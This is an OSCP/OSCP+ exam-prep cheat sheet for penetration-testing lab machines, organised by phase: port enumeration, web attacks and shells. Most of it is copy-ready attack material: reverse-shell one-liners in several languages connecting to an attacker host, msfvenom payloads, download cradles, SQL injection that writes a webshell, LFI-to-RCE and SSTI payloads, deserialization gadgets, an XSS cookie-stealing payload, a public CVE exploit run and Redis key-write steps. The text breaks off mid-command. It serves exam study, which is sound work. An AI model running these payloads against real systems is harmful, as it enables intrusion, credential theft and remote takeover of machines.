Quick and dirty for the sitting
A working compendium of techniques and lessons for OSCP/OSCP+ style machines, organized by attack phase rather than by box. Flip to whichever section matches the wall you're stuck at, and Ctrl+F the keyword (a port like 445, a technique like kerberoast, a tool like chisel).
It's built around the 2026 OSCP+ exam: three standalone machines (20 points each = 60) plus one Active Directory set of three machines (40 points), 70 to pass. No buffer-overflow machine, no bonus points. The AD set is the single biggest decider - land it early.
Where a technique entry runs deep, it tries to answer four questions: how do I recognize when this applies (surface / identification), why it works (the mechanism), how to exploit it (exact commands), and the gotchas that waste time when they bite.
Placeholders used throughout: $IP / $TARGET is the target machine, $LHOST / $LPORT is your attacking box (the tun0 IP on a VPN lab), $USER / $PASS are credentials when generic. Bash blocks assume Kali Linux.
msfvenom, searchsploit, pattern_create, nasm_shell are NOT counted as "using Metasploit."-w / poisoning).BloodHound (Legacy + CE), SharpHound, PowerShell Empire, Covenant, PowerView, Rubeus, evil-winrm, Responder (analyze only), CrackMapExec / NetExec, Mimikatz, Impacket, PrintSpoofer. Standard non-MSF exploits are fine.
You need 70. Realistic winning lines:
The AD set is the single biggest decider. Land AD first or early. Partial credit exists: foothold = 10, root = 10 on standalones; 10/10/20 on AD.
local.txt / proof.txt WITH whoami / id / ipconfig / hostname in the SAME frame.script or just keep a per-box markdown with every command + output.## <IP> - <hostname>
Ports:
Foothold: <how> | cred: <user:pass> | local.txt: <hash>
Privesc: <how> | proof.txt: <hash>
Screenshots: [ ] foothold+id [ ] root+id [ ] local.txt [ ] proof.txt
<product> default credentials for each service -> only then start brute-forcing. zFTPServer admin:admin tested late after 18 minutes of hydra on basic auth is the canonical time-sink.cwd on a download endpoint is half a vulnerability; the same cwd on an upload endpoint is the whole vulnerability.~/.ssh/ (entire directory), /etc/crontab, application configs, recent log files. Pre-stage privesc targets before the foothold./usr/local/. Distro binaries are vetted; bespoke ones are where the bugs live. strings is the first stop.rlwrap nc is the bulletproof fallback but doesn't auto-upgrade. Choose deliberately..ssh directory" is more useful than "SSH-key write didn't work." The dead-ends are the methodology.script -f session.log at the start of every engagement, or tee everything to a file. Reconstructing from memory is how typos and made-up commands sneak into notes.TimeoutError on a reverse-shell trigger is not failure. Many exploit wrappers (Redis rogue master, salt-stack runners, web RCE PoCs) expect their executed command to return; a reverse-shell payload hands control to the listener and doesn't return. Check the listener before assuming the exploit didn't fire.apt install: penelope.py, linpeas.sh/winPEASany.exe/linenum.sh, pspy64, BloodHound (+ CE) and SharpHound, certipy-ad / impacket-* / evil-winrm / nxc, chisel and ligolo-ng, feroxbuster/ffuf/gobuster, hashcat/john, Responder (analyze), pwntools + GDB (pwndbg/peda), ROPgadget/one_gadget/pwninit, and the Windows binaries (JuicyPotato.exe, JuicyPotatoNG.exe, PrintSpoofer64.exe, GodPotato, nc.exe, PowerView, mimikatz, PwnKit). Keep them statically built or pre-downloaded.# Fast full TCP port discovery
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap/allports.txt $IP
# Then deep scan only the open ports
ports=$(grep ^[0-9] nmap/allports.txt | cut -d/ -f1 | paste -sd,)
nmap -p$ports -sCV -A -Pn -oN nmap/deep.txt $IP
# UDP top ports (slow - kick off and forget; SNMP/DNS/TFTP/IKE matter)
sudo nmap -sU --top-ports 100 -oN nmap/udp.txt $IP
# Vuln scripts (noisy)
nmap -p$ports --script vuln -oN nmap/vuln.txt $IP
-sCV = default scripts + version. -Pn skips host discovery (exam boxes block ping). --min-rate keeps it moving.echo "$IP target.htb dc01.target.htb target" | sudo tee -a /etc/hosts
Add the hostname as soon as a redirect, cert SAN, or scan reveals one. vhosts/SNI matter; many web apps 302 to a hostname and the request fails silently against the bare IP.
General pattern for any open port: identify version -> searchsploit -> CVE -> try unauth/default creds -> read/write primitives -> escalate.
| Port | Service | First five actions |
|---|---|---|
| 21 | FTP | anon login (ftp -inv $IP), banner -> searchsploit, list root, look for upload, check for /etc/passwd-style paths |
| 22 | SSH | banner -> CVE check (rare on modern), user enum via timing (older), key auth tests if you have keys |
| 23 | Telnet | banner, creds |
| 25 | SMTP | VRFY/EXPN/RCPT TO user enum, open relay test |
| 53 | DNS | dig axfr @$IP <domain>, zone transfer for subdomain leaks |
| 79 | Finger | finger @$IP, user enum on old boxes |
| 80 | HTTP | manual browse, whatweb, feroxbuster, view source, robots.txt, .git/ |
| 88 | Kerberos | it's a DC -> AD section (AS-REP roast, kerberoast) |
| 110 | POP3 | banner, weak creds, read mail for creds |
| 139/445 | SMB | smbclient -L //$IP -N, enum4linux-ng $IP, nxc smb $IP --shares, null sessions, anon shares |
| 143 | IMAP | banner, weak creds, read mail |
| 161 | SNMP (UDP) | snmpwalk -v2c -c public $IP, process args/creds, onesixtyone to brute community |
| 389/636 | LDAP | ldapsearch naming contexts, AS-REP roast via nxc, windapsearch |
| 443 | HTTPS | as 80, plus cert subjects/SANs for hostnames |
| 1433 | MSSQL | weak SA, xp_cmdshell, nxc mssql, linked servers (double-hop) |
| 2049 | NFS | showmount -e $IP, mount and check for no_root_squash |
| 3306 | MySQL | weak creds, version -> searchsploit, INTO OUTFILE for file write if FILE priv, load_file |
| 3389 | RDP | xfreerdp /u: /v:$IP, NLA toggle, BlueKeep check |
| 5432 | PostgreSQL | weak creds, COPY ... FROM PROGRAM, large-object tricks, read backups |
| 5985 | WinRM | evil-winrm with creds, nxc winrm for spraying ("Pwn3d!") |
| 6379 | Redis | see 2.3.1 |
| 8080 | HTTP-alt | Tomcat manager, Jenkins, Gitea - dirbust the path, do NOT assume 404 means empty |
| 9200 | Elastic | version -> CVE-2014-3120/2015-1427 RCE on old; data exfil via _search |
| 27017 | MongoDB | unauth mongo $IP, drop in shell, exfil collections |
| 11211 | memcached | unauth stats, slabs dump |
| 873 | rsync | rsync $IP:: for module listing, anon read |
# 21 FTP
ftp $IP # try anonymous:anonymous
nmap --script ftp-anon,ftp-vsftpd-backdoor -p21 $IP # binary mode for non-text; "ls -la" for hidden
# 25/587 SMTP
nmap --script smtp-commands,smtp-enum-users -p25 $IP
smtp-user-enum -M VRFY -U users.txt -t $IP
swaks --to [email protected] --from [email protected] --server $IP --body "hi" --attach @payload.txt # send mail / client-side payloads
# 53 DNS
dig axfr target.htb @$IP # zone transfer (Trick box pattern)
dig any target.htb @$IP
dnsrecon -d target.htb -n $IP -t axfr
# 111 RPCbind / NFS
showmount -e $IP # list exports
rpcinfo -p $IP
mkdir /mnt/nfs; sudo mount -t nfs $IP:/export /mnt/nfs -o nolock # no_root_squash export -> privesc later
# 135 / 139 / 445 SMB
nxc smb $IP -u '' -p '' --shares # null session
nxc smb $IP -u 'guest' -p '' --shares
enum4linux-ng -A $IP
smbclient -L //$IP/ -N # list shares anon
smbclient //$IP/share -N # connect anon
smbmap -H $IP -u null # perms per share
nxc smb $IP -u user -p pass --rid-brute # user enumeration
nmap --script smb-vuln* -p445 $IP # MS17-010 etc.
# 161 UDP SNMP
snmpwalk -v2c -c public $IP
snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects # run cmds output
onesixtyone -c community.txt $IP # brute community string
# look for: process args (creds!), installed software, user accounts
# 389/636 LDAP
ldapsearch -x -H ldap://$IP -s base namingcontexts
ldapsearch -x -H ldap://$IP -b "DC=target,DC=htb"
nxc ldap $IP -u user -p pass --asreproast hashes.txt
# windapsearch / ldapdomaindump for AD
# 1433 MSSQL
impacket-mssqlclient user:pass@$IP -windows-auth
# in client: enable_xp_cmdshell ; xp_cmdshell 'whoami'
nxc mssql $IP -u sa -p pass -x "whoami"
# linked servers (POO box pattern): EXEC sp_linkedservers ; double-hop via openquery
# 3389 RDP
xfreerdp /u:user /p:pass /v:$IP /cert:ignore +clipboard /dynamic-resolution
nxc rdp $IP -u user -p pass
# 5985/5986 WinRM
nxc winrm $IP -u user -p pass # "(Pwn3d!)" = you can evil-winrm
evil-winrm -i $IP -u user -p pass
evil-winrm -i $IP -u user -H <NThash> # pass-the-hash
Quick ones: 22 SSH version -> searchsploit, key reuse, weak creds (hydra), user enum on old OpenSSH. 3306 MySQL mysql -h $IP -u root -p, UDF privesc, file read (load_file, secure_file_priv). 5432 Postgres psql -h $IP -U postgres, COPY ... FROM PROGRAM RCE, read backups (Slonik pattern). 6379 Redis redis-cli -h $IP, webshell write via config set dir, SSH key write.
whatweb http://$IP ; curl -sI http://$IP # tech, headers, server
# directory/file brute
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html,bak,zip
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50
ffuf -u http://$IP/FUZZ -w wordlist -e .php,.txt,.bak -mc all -fc 404
# vhost / subdomain fuzz (needs hostname in /etc/hosts)
ffuf -u http://$IP -H "Host: FUZZ.target.htb" -w subdomains.txt -fs <baseline-size>
# CMS
nikto -h http://$IP
wpscan --url http://$IP --enumerate u,vp,vt --api-token <opt>
droopescan scan drupal -u http://$IP
joomscan -u http://$IP
# always: view-source, /robots.txt, /sitemap.xml, comments, JS files (endpoints/creds),
# default creds, /server-status, .git/ (git-dumper), backup files (.bak ~ .swp .old)
Param fuzzing: ffuf -u 'http://$IP/page.php?FUZZ=test' -w params.txt -fs <size> then test each for LFI/SQLi.
Anonymous FTP on a Windows host is rarely just file storage. It's almost always a product-specific interface, and the folder layout fingerprints the product:
| Folder layout | Product |
|---|---|
ImapRetrieval/, PopRetrieval/, Spool/, Logs/ | SmarterMail |
Data/<domain>/<user>/... | hMailServer |
Postoffices/<domain>/Mailroot/... | MailEnable |
Users/<domain>/... with no retrieval folders | MDaemon |
accounts/, extensions/, certificates/, log/ | zFTPServer |
Once identified: confirm with nmap -sV on the product's web port (e.g. SmarterMail on :9998), pull every log file (older builds leak usernames or recipient addresses that feed user-list attacks later), and cross-reference the version against known CVEs.
Some CMSes (Grav is a notable example) don't expose a version string anywhere obvious. When whatweb, wappalyzer, and view-source come up empty, walk the install's known-shipped files in order:
# 1. CHANGELOG.md - shipped in the release tarball, usually exposed
curl -s http://$IP/path/CHANGELOG.md | head -30
# 2. Plugin/admin changelog (separate from core version)
curl -s http://$IP/path/user/plugins/admin/CHANGELOG.md | head -30
# 3. composer.json / composer.lock
curl -s http://$IP/path/composer.json
curl -s http://$IP/path/composer.lock | grep -A2 '"name":'
# 4. README.md / VERSION
curl -s http://$IP/path/README.md | head -20
# 5. JS bundle paths - version sometimes baked into asset hashes
curl -s http://$IP/path/admin/login -o login.html
grep -E 'version|admin-all|vendor-all' login.html
# 6. Plugin/theme blueprints (YAML files)
curl -s http://$IP/path/user/plugins/admin/blueprints.yaml
If all of that fails, install-timestamp + GitHub release calendar is the last-ditch fingerprint: get the timestamp (Apache http-ls, curl -I Last-Modified, directory listing), pull the project's GitHub release history, find the version current on or just before that date. This works because most lab boxes are unzipped from a specific release tarball at install time and the file timestamps don't get touched afterwards. If they did (touch / tar --touch), cross-check timestamps on multiple files.
Embedded Jetty/Tomcat services (ZooKeeper Exhibitor, Solr, Jenkins, Spark UI, Kafka admin) mount their UIs at a sub-path. The HTTP root frequently returns 404 even when a perfectly accessible admin UI lives at /exhibitor/, /jenkins/, /solr/, etc. A Powered by Jetty or Tomcat banner on the 404 page is a strong tell that something is hosted there - dirbust the path, don't walk away.
Some products bind two ports for the same service (FTP service on :21, FTP admin protocol on :3145, for example). The default credential sets are often different for the two ports. Test the product's documented defaults on each port separately before assuming one is locked down. nxc is faster than hydra here - sweep with documented defaults first, hydra against rockyou only after.
Options +Indexes is a recon giftThe http-ls nmap script catches it automatically:
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2021-03-17 17:46 grav-admin/
The directory listing reveals app names, install timestamps, and (when the admin forgot to suppress them) backup files. The timestamps frequently double as a version-fingerprint primitive (see 1.7).
ffuf -H "Host: FUZZ.target.local" -u http://target.local \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 1
A negative result on a lab box is normal - don't burn 30 minutes on it.
If scans or shells stall on a VPN lab, it's usually MTU fragmentation on the tunnel: sudo ip link set dev tun0 mtu 1200.
$LHOST/$LPORT first)# Listener
nc -lvnp 443 # or: rlwrap nc -lvnp 443 (arrow keys/history)
# Bash
bash -i >& /dev/tcp/$LHOST/443 0>&1
# alt (no /dev/tcp):
exec 5<>/dev/tcp/$LHOST/443; cat <&5 | while read l; do $l 2>&5 >&5; done
# sh / busybox
/bin/sh -i >& /dev/tcp/$LHOST/443 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST 443 >/tmp/f
# Python3
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("$LHOST",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
# PHP
php -r '$s=fsockopen("$LHOST",443);exec("/bin/sh -i <&3 >&3 2>&3");'
# Perl
perl -e 'use Socket;$i="$LHOST";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
# nc (only on traditional/openbsd netcat)
nc -e /bin/bash $LHOST 443
# Powershell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('$LHOST',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"
Generate/encode shells fast with revshells.com (memorize the format; can't browse during exam unless you cache it).
| Listener | When |
|---|---|
nc -lvnp <port> | Unambiguous baseline; raw bytes only |
rlwrap nc -lvnp | Adds readline history, arrow keys |
penelope -i tun0 -p <port> | Auto PTY upgrades, logging, multi-session, file transfer |
pwncat-cs -lp <port> | Persistence, port forwards, modules |
msfconsole exploit/multi/handler | Required for any windows/* or meterpreter payload |
When debugging "no callback," regress to plain nc -lvnp - strips out framing assumptions and tells you whether any TCP byte arrived.
penelope automatically upgrades incoming shells to a full PTY, so feed it raw shells only. A pre-ptied connection (your payload already called pty.spawn) causes penelope's upgrade routine to double-fire and hang.
| Catcher | Payload type |
|---|---|
penelope | Raw shells only: bash -c 'bash -i >& /dev/tcp/...', nc -e, raw socket-dup payloads |
rlwrap nc | Anything, no auto-upgrade |
python3 -c 'import pty;pty.spawn("/bin/bash")' # or python / script -qc /bin/bash /dev/null
export TERM=xterm-256color
# background w/ Ctrl-Z, then on YOUR box:
stty raw -echo; fg
# (press Enter twice). Now you have arrows, tab, Ctrl-C.
stty size # on your box -> get rows/cols
stty rows 50 columns 200 # in the shell
This gets you tab completion, arrow-key history, Ctrl-C without killing the shell, and vim/less/sudo prompts that need a real terminal.
When passing a shell payload through an RCE wrapper (SaltStack PoC, web exploit -c parameter, etc.), quoting nesting matters more than payload content.
# Single quotes inside double quotes - SAFE
./exploit.py --execute "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# Double quotes inside double quotes - BREAKS (f-string / shell expansion conflicts)
./exploit.py --execute "bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\""
# Double single quotes - RUNS LOCALLY, not on the target
./exploit.py --execute ''cmd''
If quoting becomes intractable, base64 the payload and let the remote shell decode it:
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' | base64 -w0)
# Send: bash -c "{echo,${PAYLOAD}}|{base64,-d}|bash"
# Step 1 - test code execution at all (ICMP, lighter than TCP). On Kali:
sudo tcpdump -i tun0 icmp
# Via the exploit:
exploit --execute "ping -c 3 $LHOST"
# Hits in tcpdump -> code exec works ; No hits -> exec is broken, not the shell
# Step 2 - test outbound TCP on your chosen port
exploit --execute "curl http://$LHOST:8000/test" # On Kali: python3 -m http.server 8000
# Hits -> shell payload is the problem ; No hits -> TCP egress filtered, use HTTP/ICMP exfil
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o rev.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o met.exe # only on your one MSF box
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f elf -o rev.elf
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war # Tomcat
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o shell.aspx
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php # strip leading comment / add <?php
# DLL / MSI / shellcode as needed: -f dll | msi | raw
# --- Serve from attacker ---
python3 -m http.server 80
impacket-smbserver share $(pwd) -smb2support # add -user x -password y if needed
# --- Linux target pulls ---
wget http://$LHOST/file -O /tmp/file
curl http://$LHOST/file -o /tmp/file
exec 3<>/dev/tcp/$LHOST/80; echo -e "GET /file HTTP/1.0\r\n\r" >&3; cat <&3 # no wget/curl
# --- Windows target pulls ---
certutil -urlcache -split -f http://$LHOST/file.exe file.exe
powershell -c "iwr http://$LHOST/file.exe -OutFile file.exe"
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$LHOST/f.exe','f.exe')"
copy \\$LHOST\share\file.exe . # from impacket-smbserver
powershell -c "(New-Object Net.WebClient).UploadFile('http://$LHOST/up','f')" # exfil (need a receiver)
The same flow works for Subrion, Backdrop, Grav, ZoneMinder, Flowise, WordPress, and a dozen other CMSes: fingerprint the CMS (footer text, robots.txt patterns, favicon hash, JS bundle paths), get the version (see 1.7 if no banner), searchsploit / Google <CMS> <version> exploit for known CVEs, try default credentials at the admin panel (admin:admin, admin:password, <product>:<product>), and look for an authenticated file-upload RCE - the most common exploit class. Always try default creds before brute-forcing or chasing a CVE.
-- Detect: ' " ` ) -- # ; | observe errors / changed behavior
' OR 1=1-- - -- auth bypass (also: admin'-- - / admin' #)
" OR ""=" -- string ctx
-- Find column count
' ORDER BY 5-- - -- bump until error
' UNION SELECT NULL,NULL,NULL-- - -- match count, find printable cols
-- MySQL data
' UNION SELECT 1,@@version,3-- -
' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,group_concat(user,0x3a,password),3 FROM users-- -
-- MySQL file read/write (RCE)
' UNION SELECT 1,load_file('/etc/passwd'),3-- -
' UNION SELECT 1,'<?php system($_GET[c]);?>',3 INTO OUTFILE '/var/www/html/sh.php'-- -
-- MSSQL stacked + RCE
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami';-- -
Blind: ' AND 1=1-- - vs ' AND 1=2-- -; time-based: ' AND SLEEP(5)-- - / WAITFOR DELAY '0:0:5'. SQLMap is BANNED on the exam (automatic exploitation tool) - do SQLi manually. For off-exam practice only: sqlmap -r req.txt --batch --dbs / --dump.
# Basic
http://$IP/page.php?file=../../../../etc/passwd
# Double / nested traversal bypass (Trick box pattern)
....//....//....//etc/passwd # strips "../" once
%2e%2e%2f / %252e (double url-encode)
# PHP wrappers
php://filter/convert.base64-encode/resource=index.php # leak source
php://filter/read=string.rot13/resource=config.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg== # data: RCE
expect://id # if expect ext
# Log poisoning -> RCE (inject PHP into User-Agent, then include the log)
curl http://$IP/ -A "<?php system(\$_GET['c']); ?>"
?file=/var/log/apache2/access.log&c=id
# PHP FILTER CHAIN -> RCE (no log/upload needed; great when only LFI exists - Dante pattern)
# github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# paste the produced php://filter/... blob as the include value, then &c=id
# Other read targets: /proc/self/environ, ssh keys (/home/u/.ssh/id_rsa),
# /var/www/html/config.php, web.config, /etc/shadow, history files
Windows LFI: ..\..\..\Windows\System32\drivers\etc\hosts, C:\inetpub\wwwroot\web.config.
Surface: a web app with a cwd, dir, path, folder, or directory parameter, particularly on download or file-listing endpoints. Developers reflexively sanitize anything called "filename" (basename strip) but treat the directory parameter permissively because by design it has to accept path components. File.join (Ruby) and equivalents (PHP, Python os.path.join) do not normalize .. segments - they just glue strings - so a traversal payload in cwd escapes the storage dir while file stays well-formed and bypasses any basename check.
GET /filemanager?cwd=../../../../../../etc&file=passwd&download=true
GET /filemanager?cwd=../../../../../../home/user/.ssh/keys&file=id_rsa&download=true
Storage dir is often 5-7 levels deep from /; iterate traversal depth until you hit content. Most apps need an action flag like &download=true to route to the file-serving handler.
Critically, test the same parameter on every other endpoint: a cwd traversal on GET /filemanager?download=true lets you read any file the web process can read; the same cwd on POST /filemanager (upload) lets you write any file it can write - which turns into a shell when you write authorized_keys into the daemon user's ~/.ssh/.
When LFI (or any arbitrary-read primitive) lands, the bug itself doesn't tell you which user the process runs as. Map the boundary by testing what you can't read:
GET /filemanager?cwd=../../../../../../root&file=anything -> permission denied
A permission-denied on /root (mode 0700, owned by root) means the web process is not root. Combined with successful reads in a regular user's home, you've identified the process owner. Whenever LFI lands, immediately test /root/.bash_history or /root/anything (readable?), /etc/shadow (generally only root), and other users' homes (/home/*/..., tells you if you can pivot laterally through filesystem writes). LFI is also recon for later phases: read ~/.ssh/ (entire directory), /etc/crontab, app configs, and recent logs to pre-stage privesc before you even land the shell.
shell.php.jpg, shell.pHp, shell.php5/.phtml/.phar, trailing dot shell.php. (Environment box pattern), null byte shell.php%00.jpg (old PHP), double extension.Content-Type: image/png but PHP body.GIF89a; then <?php system($_GET['c']);?>..htaccess upload to map a new ext to PHP: AddType application/x-httpd-php .xyz..war for Tomcat manager.?c=id.; id | id || id & id && id
$(id) `id` %0a id (newline)
# blind: ping yourself / curl yourself / sleep
; ping -c3 $LHOST ; curl http://$LHOST/$(whoami) ; sleep 5
# filtered space: ${IFS} or {cat,/etc/passwd} or <
cat${IFS}/etc/passwd
Hit internal services (http://127.0.0.1:port, cloud metadata http://169.254.169.254/...). Bypass filters with http://127.1, http://0, decimal/hex IP, http://localhost, DNS rebinding, @ tricks (http://[email protected]). Chain to internal admin panels / Redis / unauth APIs.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
<!-- OOB / blind: pull external DTD from your http server; PHP filter to base64 large files -->
Surface: a Rails app (X-Frame-Options: SAMEORIGIN, X-Request-Id, X-Runtime headers; session cookie like _appname_session) with an endpoint that updates a model and returns it serialized as JSON. Rails controllers can update model attributes from a request hash via @user.update(params[:user]); if the developer didn't filter through strong_parameters (.permit(...)), every column becomes settable from the request - including booleans that gate login, admin flags, role columns. A response containing a sensitive attribute ("confirmed": false, "admin": false, "role": "user") is almost certainly also accepting that attribute on input.
# Original
_method=patch&authenticity_token=<token>&user[email]=x@x&commit=Change%20email
# Add the sensitive field
_method=patch&authenticity_token=<token>&user[email]=x@x&user[confirmed]=true&commit=Change%20email
Reflex: any time a Rails app returns model JSON, inspect every attribute and try setting each in the request. role, admin, confirmed, verified, enabled are the targets.
# Detect: inject and look for evaluation -> "49"
{{7*7}} ${7*7} <%= 7*7 %> #{7*7} ${{7*7}} *{7*7}
# Polyglot to fingerprint engine: ${{<%[%'"}}%\
# Jinja2 (Python/Flask) RCE:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# Twig (PHP):
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
# Freemarker (Java):
<#assign ex='freemarker.template.utility.Execute'?new()>${ ex('id') }
# Ruby ERB: <%= `id` %> Velocity / Smarty also vuln
# tplmap = semi-automated (allowed; manual preferred). Base64-wrap cmds to dodge filters.
Specific CVE - Grav Admin Plugin SSTI (CVE-2021-21425). Surface: Grav CMS with admin plugin (/admin resolves to a login page), version 1.7.0 through 1.7.10 (admin plugin <= 1.10.10). The admin plugin's task handler evaluates a task parameter as a Twig template; chaining auth bypass + Twig SSTI yields unauthenticated RCE as the web user.
git clone https://github.com/CsEnox/CVE-2021-21425
cd CVE-2021-21425
# Always test command execution first
sudo tcpdump -i tun0 icmp &
python3 exploit.py -t http://$IP/grav-admin -c 'ping -c 3 $LHOST'
# Reverse shell
penelope -i tun0 -p $LPORT
python3 exploit.py -t http://$IP/grav-admin -c '/bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
Lands as www-data, not a Grav admin user. The PoC handles quoting cleanly; no base64 needed. Creates noise in Grav's logs.
# Java (ysoserial) - blobs: base64 starts "rO0AB", hex "ac ed 00 05"
java -jar ysoserial.jar CommonsCollections5 'curl http://$LHOST/x' | base64 -w0
# gadgets: URLDNS (detect/blind), CommonsCollections1-7, Groovy1, Spring1
# .NET (ysoserial.net) - __VIEWSTATE, BinaryFormatter, Json.NET, Losformatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c whoami" -o base64
# ViewState w/ leaked machineKey (Hercules pattern):
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
--generator=<__VIEWSTATEGENERATOR> --validationkey=<KEY> --validationalg=<ALG> -c "cmd /c whoami"
# PHP object injection (unserialize + magic methods __wakeup/__destruct):
phpggc Symfony/RCE4 system id
# Python pickle (vulnerable loads()):
python3 -c 'import pickle,os,base64;print(base64.b64encode(pickle.dumps(type("E",(),{"__reduce__":lambda s:(os.system,("id",))})())) )'
# Decode offline: echo <part> | base64 -d (or jwt.io offline)
# alg:none bypass -> set header {"alg":"none"}, drop signature but KEEP trailing dot
# Weak HMAC secret -> crack then re-sign:
hashcat -m 16500 jwt.txt rockyou.txt
# RS256->HS256 confusion: sign with server's PUBLIC key bytes as the HMAC secret
# jwt_tool does all of it:
python3 jwt_tool.py <JWT> -X a # alg:none
python3 jwt_tool.py <JWT> -C -d rockyou.txt # crack secret
python3 jwt_tool.py <JWT> -T # tamper/re-sign
# Stored XSS via SVG upload -> steal admin cookie:
<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('http://$LHOST/?c='+document.cookie)</script></svg>
# OAuth/SAML CSRF, open-redirect chained to token theft
# IDOR / broken access control: change id params, hit endpoints without auth, mass-assignment
# PEN-200 client-side delivery (when a box expects a user to "open" something):
# - VBA macro in .doc/.docm with a powershell reverse shell
# - config.Library-ms + .lnk over WebDAV: wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root .
# .lnk runs: powershell IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/p.ps1')
# - deliver via swaks (see SMTP). Listener: nc -lvnp 443
Surface: Subrion CMS 4.2.1 (footer text, /panel login, robots.txt referencing /panel/, /front/, /install/). Webroot file-extension blacklist bypass via .phar or double-extension on the admin file manager; default creds admin:admin work on many deployments.
# PoC: https://github.com/Swammers8/SubrionCMS-4.2.1-File-upload-RCE-auth-
python3 exploit.py -u http://$IP/panel -l admin -p admin -c 'whoami'
Operating gotchas: the PoC's shell is not interactive (each -c is a fresh HTTP POST = fresh PHP process; cd won't persist). Quoting is fragile - use base64 + brace expansion to bypass the wrapper:
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' | base64 -w0)
python3 exploit.py -c "bash -c '{echo,${PAYLOAD}}|{base64,-d}|bash'"
Once the webshell is uploaded, curl the dropped .phar directly with a cmd= parameter for iteration speed.
wp-config.php creds, admin -> theme editor -> PHP RCE, xmlrpc password attack./manager/html default creds (tomcat:tomcat, admin:admin) -> deploy .war./script Groovy console -> RCE (Jeeves pattern). Runtime.getRuntime().exec(...)..git/ -> git-dumper -> source/creds.Recon:
nc -nv $IP 6379
INFO # version, OS, uptime, build, pid, dir, executable
CLIENT LIST # other connections - sometimes leaks paths/IPs
CONFIG GET * # full server config dump
KEYS * # all keys (DANGEROUS on prod, fine on CTF)
MODULE LIST # loaded modules
SLOWLOG GET 25 # previous slow commands - sometimes contain creds
LASTSAVE # last RDB write timestamp
# Auth probe
redis-cli -h $IP ping # "NOAUTH..." -> password set ; "PONG" -> unauth
hydra -P /usr/share/wordlists/rockyou.txt redis://$IP # brute when needed
Key INFO indicators: redis_version (drives exploits), os (Lua escape feasibility), executable (/usr/local/bin/... = manual install, likely non-default user), uptime_in_days (long uptime = instance not reverted).
Attack matrix - pick the primitive:
| Primitive | When it works | When it doesn't |
|---|---|---|
Write authorized_keys | Daemon user has writable .ssh somewhere | Hardened install, daemon uid has no homedir or .ssh |
| Write cron job | /var/spool/cron/crontabs/<user> or /etc/cron.d/ writable | Permissions blocked, or cron not running |
| Write webshell | Web root writable AND a PHP/etc. handler reachable | No web service, or webroot read-only |
| Lua sandbox escape (CVE-2022-0543) | Debian/Ubuntu, Redis 5.0.5 or lower (varies by build) | RHEL-family, patched builds |
| Rogue master + MODULE LOAD | Redis 4.x/5.x, unauth, no MODULE blocklist | Auth required (use -a), or MODULE LOAD disabled |
SSH key write (try first, fail fast):
ssh-keygen -t ed25519 -f ./key -N "" -C "attacker"
(printf '\n\n\n'; cat key.pub; printf '\n\n\n') > key.txt # pad so RDB noise doesn't corrupt the line
cat key.txt | redis-cli -h $IP -x set crackit
redis-cli -h $IP config set dbfilename "authorized_keys"
for d in /root/.ssh /home/redis/.ssh /home/ubuntu/.ssh /home/admin/.ssh \
